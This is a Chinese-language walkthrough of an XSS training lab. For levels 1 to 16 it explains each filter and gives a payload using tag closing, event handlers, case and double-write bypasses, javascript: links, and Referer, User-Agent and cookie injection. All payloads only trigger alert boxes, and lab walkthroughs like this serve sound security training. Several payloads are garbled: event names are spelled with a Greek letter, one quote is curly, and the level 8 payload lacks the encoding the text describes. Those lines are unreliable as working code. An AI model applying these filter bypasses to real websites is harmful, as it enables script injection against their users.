pass01:
无任何过滤,直接输入js语句就可以。
<script>alert(1)</script>
pass02:
需要闭合input标签,再插入js语句。
payload:"><script>alert(1)</script>
pass03:
使用了函数htmlspecialchars:
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
因此,不能使用<>,可以使用payload:' οnclick=‘alert(1),需要点击才能触发。
pass04:
和第三关类似,闭合为"。
payload:" οnclick="alert(1)。
pass05:
限制了script和on字符---->替换成scr_pt 和o_n ,使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接
payload:"> <a href=javascript:alert('xss') > xss</a> //。
pass06:
限制了script、on、src、data、href。但是没有限制大小写。
payload:"><Script>alert(1)</Script>
pass07:
限制了script、on、src、data、href和大小写·。可以双写script进行绕过。
payload:"><ScrScriptipt>alert(1)</ScrScriptipt>
pass08:
采用和第五关差不多的方法。但是由于会限制script,因此需要进行Unicode编码。
payload:javascript:alert(1)
pass09:
和第八关相比,增加了判断是否含有http://。
因此在第八关payload的基础上增加字符串http://。
payload:javascript:alert(1)//http://
pass10:
输入框被隐藏。因为是前端代码,我们将隐藏去除。
payload:&t_sort=" οnclick="alert(1)
pass11:
$str11=$_SERVER['HTTP_REFERER'];
因此,可以构造数据包,给referer赋值。
payload:referer:"type="text" οnclick="alert('xss')
pass12:
修改:User-Agent
payload:"type="text" οnclick="alert('xss')
pass13:
修改cookie.
payload:"type="text" οnclick="alert('xss')
pass16:
绕过思路:可以用回车来将它们分开。
payload:<img%0Asrc=1%0Aοnerrοr=alert(1)>